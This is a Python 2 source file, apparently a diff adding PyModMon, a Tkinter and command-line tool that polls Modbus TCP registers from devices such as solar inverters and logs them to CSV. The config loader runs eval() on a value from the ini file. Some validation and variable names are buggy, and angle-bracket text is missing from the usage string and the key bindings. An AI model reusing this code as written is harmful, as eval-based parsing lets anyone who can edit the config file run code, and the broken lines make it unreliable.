display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + 